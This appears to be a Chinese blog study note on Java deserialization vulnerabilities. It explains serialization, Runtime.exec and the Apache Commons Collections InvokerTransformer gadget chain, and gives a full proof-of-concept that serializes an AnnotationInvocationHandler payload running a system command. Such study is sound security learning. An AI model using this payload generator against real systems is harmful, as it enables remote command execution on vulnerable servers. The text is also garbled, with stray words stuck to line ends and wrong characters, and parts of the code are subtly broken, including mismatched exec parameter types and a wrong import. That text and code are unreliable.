零、Java反序列化漏洞html
java的安全問題數一數二的就是反序列化漏洞,能夠執行命令啊,甚至直接getshell,因此趁着這個假期好好研究一下java的反序列化漏洞。另外呢,組裏多位大佬對反序列化漏洞都有頗深的研究,藉此機會,努力學習,做爲狼羣中的哈士奇但願成功的繼續假裝下去,不被識破,哈哈哈哈!!!java
參考文檔:感謝全部參考文獻的做者:python
一、https://www.cnblogs.com/bencakes/p/6139477.html程序員
二、https://www.cnblogs.com/ssooking/p/5875215.htmlshell
三、https://www.cnblogs.com/xdp-gacl/p/3777987.htmlapache
1、Java的序列化與反序列化:api
在這裏咱們直接本身定義一個類,而後對這個類的對象(一個實例)進行序列化和發序列化測試。數組
1 //引入必要的java包文件 2 import java.io.*; 3 4 //建立測試類,注意要繼承Serializable接口 5 class serialdemo implements Serializable{ 6 public static int number; 7 public serialdemo(int inputnum) { 8 this.number = inputnum; 9 } 10 } 11 12 //主類 13 public class test{ 14 //測試主類 15 public static void main(String[] args) throws IOException, ClassNotFoundException { 16 //主函數入口 17 serialdemo object = new serialdemo(100); 18 FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//建立文件寫入對象 19 ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//建立類型序列化通道對象 20 outputstream.writeObject(object);//把類對象(實例)序列化進入文件 21 outputstream.close(); 22 FileInputStream fileinputstream = new FileInputStream("serail.ser");//從文件讀取對象 23 ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//對象反序列化 24 // 經過反序列化恢復對象obj 25 serialdemo object2 = (serialdemo)inputstream.readObject(); 26 System.out.println("反序列化後的對象的值:"); 27 System.out.println(object2.number); 28 inputstream.close(); 29 } 30 }
既然本身定義的類均可以了,那麼默認的java存在的數據類型的實例固然也均可以啦~運行結果以下:安全
1 └─[$]> java test 2 反序列化後的對象的值: 3 100
2、對java序列化的詳解:數據結構
一、api定位:
1 /* 2 java.io.ObjectOutputStream -> writeObject() 3 java.io.ObjectInputStream -> readObject() 4 序列化把對象序列化成字節流 5 反序列化讀取字節流反序列化對象 6 */
二、實現Serializable和Externalizable接口的類才能序列化與反序列化。
三、java的反射機制:
/* 在java運行狀態中 1.對於任何一個類,都能判斷對象所屬的類; 2.對於任何一個類,都能獲取其全部的屬性和方法; 3.對於任何一個對象,都能調用任意一個方法和屬性; */
3、反序列化的漏洞原理概述:
一、因爲不少站點或者RMI倉庫等接口處存在java的反序列化功能,攻擊者能夠經過構造特定的惡意對象序列化後的流,讓目標反序列化,從而達到本身的惡意預期行爲,包括命令執行,甚至getshell等等。
二、Apache Commons Collections
這是開源小組Apache研發的一個Collections收集器框架,提供諸如list、set、queue等功能對象。這個框架中有一個接口,其中有一個實現該接口的類能夠經過調用java的反射機制來調用任意函數,這個接口類是InvokerTransformer。這個架構的普遍使用,也致使了java反序列化漏洞的大面積流行。
三、java執行系統命令:
1 //命令執行函數 2 public void test() throws IOException, InterruptedException { 3 Process process = Runtime.getRuntime().exec("whoami"); 4 InputStream inputstream = process.getInputStream(); 5 BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream)); 6 process.waitFor(); 7 if (process.exitValue() != 0) { 8 //說明命令執行失敗 9 //能夠進入到錯誤處理步驟中 10 } 11 //打印輸出信息 12 String s = null; 13 while ((s = reader.readLine()) != null) { 14 System.out.println(s); 15 } 16 }
簡介:
Runtime.getRuntime().exec("command_string");
回顯呢:
Process process = Runtime.getRuntime().exec("command_string");
InputStream inputstream = process.getInputStream();
BufferReader reader = new BufferReader(new InputStreamReader(inputstream));
System.out.prinln(reader.readLine());
把上面結合起來就是序列化的打法。
4、關於反射鏈
之前一直不理解反射鏈是什麼定西,如今咱們來看看接口源代碼:
咱們來理一理這一段:
開始:
能夠看出來這個方法,屬於一個對象,輸出另一個對象,完成了類型的轉換。同時這個接口還能夠串聯完成一系列的轉換,構成反射鏈。
Apache Commons Collections中已經實現了一些常見的Transformer,其中有一個能夠經過Java的反射機制來調用任意函數,叫作InvokerTransformer,代碼以下:
1 public class InvokerTransformer implements Transformer, Serializable { 2 3 ... 4 5 /* 6 Input參數爲要進行反射的對象, 7 iMethodName,iParamTypes爲調用的方法名稱以及該方法的參數類型 8 iArgs爲對應方法的參數 9 在invokeTransformer這個類的構造函數中咱們能夠發現,這三個參數均爲可控參數 10 */ 11 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 12 super(); 13 iMethodName = methodName; 14 iParamTypes = paramTypes; 15 iArgs = args; 16 } 17 18 public Object transform(Object input) { 19 if (input == null) { 20 return null; 21 } 22 try { 23 Class cls = input.getClass(); 24 Method method = cls.getMethod(iMethodName, iParamTypes); 25 return method.invoke(input, iArgs); 26 27 } catch (NoSuchMethodException ex) { 28 throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); 29 } catch (IllegalAccessException ex) { 30 throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 31 } catch (InvocationTargetException ex) { 32 throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); 33 } 34 } 35 36 }只須要傳入方法名、參數類型和參數,便可調用任意函數。
在這裏,咱們能夠看到,先用ConstantTransformer()獲取了Runtime類,接着反射調用getRuntime函數,再調用getRuntime的exec()函數,執行命令。依次調用關係爲: Runtime --> getRuntime --> exec()。所以,咱們要提早構造 ChainedTransformer鏈,它會按照咱們設定的順序依次調用Runtime, getRuntime,exec函數,進而執行命令。正式開始時,咱們先構造一個TransformeMap實例,而後想辦法修改它其中的數據,使其自動調用tansform()方法進行特定的變換(即咱們以前設定好的)
5、poc原理分析:
參考大牛博客,給出一個原理解釋知識點
1 ConstantTransformer 2 把一個對象轉化爲常量,並返回。 3 4 InvokerTransformer 5 經過反射,返回一個對象 6 7 ChainedTransformer 8 ChainedTransformer爲鏈式的Transformer,會挨個執行咱們定義Transformer
不得不說上面大牛博客分析的大段的代碼原理我基本都不懂,由於不是java程序員的我對此真是摸不着頭腦,可是咱們能夠作以下總結:
1 /* 2 一、java反序列化能夠遠程執行命令。 3 二、java執行命令用到Runtime.getRuntime().exec("whoami"); 4 三、java在apache commons collections中存在InvokerTransoformer接口能夠串聯對對象進行轉化,造成反射鏈。 5 四、ConstantTransformer能夠把對象轉換爲常量返回。 6 五、ChainedTransformer爲鏈式的Transformer,會挨個執行咱們定義Transformer 7 六、AnnotationInvocationHandler類能夠致使命令執行在readobject時候自動執行 8 */
POC的思路:
1 /* 2 1)首先構造一個Map和一個可以執行代碼的ChainedTransformer, 3 2)生成一個TransformedMap實例 4 3)實例化AnnotationInvocationHandler,並對其進行序列化, 5 4)當觸發readObject()反序列化的時候,就能實現命令執行。 6 POC執行流程爲 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功觸發 7 */
分析大牛poc核心代碼邏輯:
1 /* 2 核心邏輯表達式: 3 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); 4 主函數中: 5 一、定義一個要執行的命令字符串:String commandstring = "whoami"; 6 二、定義一個執行邏輯: 7 Transformer[] transformers = new Transformer[] { 8 new ConstantTransformer(Runtime.class), 9 new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}), 10 new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null}) 11 new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring}) 12 } 13 三、執行邏輯轉化操做(ChainedTransformer類對象,傳入transformers數組,能夠按照transformers數組的邏輯執行轉化操做): 14 Transformer transformedChain = new ChainedTransformer(transformers); 15 四、後面是關於不關心的東西,寫死便可: 16 Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); 17 BeforeTransformerMap.put("hello", "hello"); 18 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); 19 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 20 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); 21 ctor.setAccessible(true); 22 Object instance = ctor.newInstance(Target.class, AfterTransformerMap); 23 File f = new File("temp.bin"); 24 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 25 out.writeObject(instance); 26 */ 27 28 //引入必要的java包文件 29 import java.io.File; 30 import java.io.FileInputStream; 31 import java.io.FileNotFoundException; 32 import java.io.FileOutputStream; 33 import java.io.IOException; 34 import java.io.ObjectInputStream; 35 import java.io.ObjectOutputStream; 36 import java.lang.annotation.Retention; 37 import java.lang.reflect.Constructor; 38 import java.util.HashMap; 39 import java.util.Map; 40 import java.util.Map.Entry; 41 42 //引入第三方包文件,也就是關於apache的那幾個包 43 import org.apache.commons.collections.Transformer; 44 import org.apache.commons.collections.functors.ChainedTransformer; 45 import org.apache.commons.collections.functors.ConstantTransformer; 46 import org.apache.commons.collections.functors.InvokerTransformer; 47 import org.apache.commons.collections.map.TransformedMap; 48 49 //主類 50 public class POC_Test{ 51 public static void main(String[] args) throws Exception { 52 //定義待執行的命令: 53 String commandstring = "whoami"; 54 //定義一個反射鏈,肯定預約的轉化邏輯 55 /* 56 定義一個反射鏈的方法: 57 Transformer[] varitename = new Transformer[] { 58 new ConstantTransformer(Runtime.class), 59 new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}), 60 new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null}) 61 new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring}) 62 } 63 */ 64 Transformer[] transformers = new Transformer[] { 65 new ConstantTransformer(Runtime.class), 66 /* 67 因爲Method類的invoke(Object obj,Object args[])方法的定義 68 因此在反射內寫new Class[] {Object.class, Object[].class } 69 正常POC流程舉例: 70 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); 71 */ 72 new InvokerTransformer( 73 "getMethod", 74 new Class[] {String.class, Class[].class }, 75 new Object[] {"getRuntime", new Class[0] } 76 ), 77 new InvokerTransformer( 78 "invoke", 79 new Class[] {Object.class,Object[].class }, 80 new Object[] {null, null } 81 ), 82 new InvokerTransformer( 83 "exec", 84 new Class[] {String[].class }, 85 new Object[] { commandstring } 86 //new Object[] { execArgs } 87 ) 88 }; 89 90 //transformedChain: ChainedTransformer類對象,傳入transformers數組,能夠按照transformers數組的邏輯執行轉化操做 91 Transformer transformedChain = new ChainedTransformer(transformers); 92 93 //BeforeTransformerMap: Map數據結構,轉換前的Map,Map數據結構內的對象是鍵值對形式,類比於python的dict 94 //Map<String, String> BeforeTransformerMap = new HashMap<String, String>(); 95 Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); 96 BeforeTransformerMap.put("hello", "hello"); 97 98 //Map數據結構,轉換後的Map 99 /* 100 TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化,該方法有三個參數。 101 第一個參數爲待轉化的Map對象 102 第二個參數爲Map對象內的key要通過的轉化方法(可爲單個方法,也可爲鏈,也可爲空) 103 第三個參數爲Map對象內的value要通過的轉化方法。 104 */ 105 //TransformedMap.decorate(目標Map, key的轉化對象(單個或者鏈或者null), value的轉化對象(單個或者鏈或者null)); 106 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); 107 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 108 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 109 ctor.setAccessible(true); 110 Object instance = ctor.newInstance(Target.class, AfterTransformerMap); 111 File f = new File("temp.bin"); 112 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 113 out.writeObject(instance); 114 } 115 } 116 117 /* 118 思路:構建BeforeTransformerMap的鍵值對,爲其賦值, 119 利用TransformedMap的decorate方法,對Map數據結構的key/value進行transforme 120 對BeforeTransformerMap的value進行轉換,當BeforeTransformerMap的value執行完一個完整轉換鏈,就完成了命令執行 121 122 執行本質: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........) 123 利用反射調用Runtime() 執行了一段系統命令, Runtime.getRuntime().exec() 124 125 */